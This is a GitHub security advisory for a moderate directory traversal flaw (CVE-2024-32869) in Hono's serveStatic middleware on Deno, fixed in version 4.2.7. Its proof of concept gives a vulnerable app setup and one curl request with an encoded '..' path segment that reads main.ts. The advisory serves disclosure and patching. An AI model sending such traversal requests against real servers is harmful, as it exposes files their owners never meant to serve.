GitHub Advisoryadvisory · npm
GHSA-3mpf-rcc7-5347 Hono vulnerable to Restricted Directory Traversal in serveStatic with deno
MEDIUM
Official page ↗
- Aliases
- CVE-2024-32869
- Ecosystem
- npm
- Packages
- hono
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2024-04-23
Affected packages
• npm hono: < 4.2.7 → fixed in 4.2.7
Description
Summary
When using serveStatic with deno, it is possible to directory traverse where main.ts is located.
My environment is configured as per this tutorial
https://hono.dev/getting-started/deno
PoC
```bash
$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
└── a.txt
```
source
```jsx
import { Hono } from 'https://deno.land/x/[email protected]/mod.ts'
import { serveStatic } from 'https://deno.land/x/[email protected]/middleware.ts'
const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))
Deno.serve(app.fetch)
```
request
```bash
curl localhost:8000/static/%2e%2e/main.ts
```
response is content of main.ts
Impact
Unexpected files are retrieved.
Related
Alias · CVE (1)
- CVE-2024-32869 Hono is a Web application framework that provides support for any JavaScript runtime. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness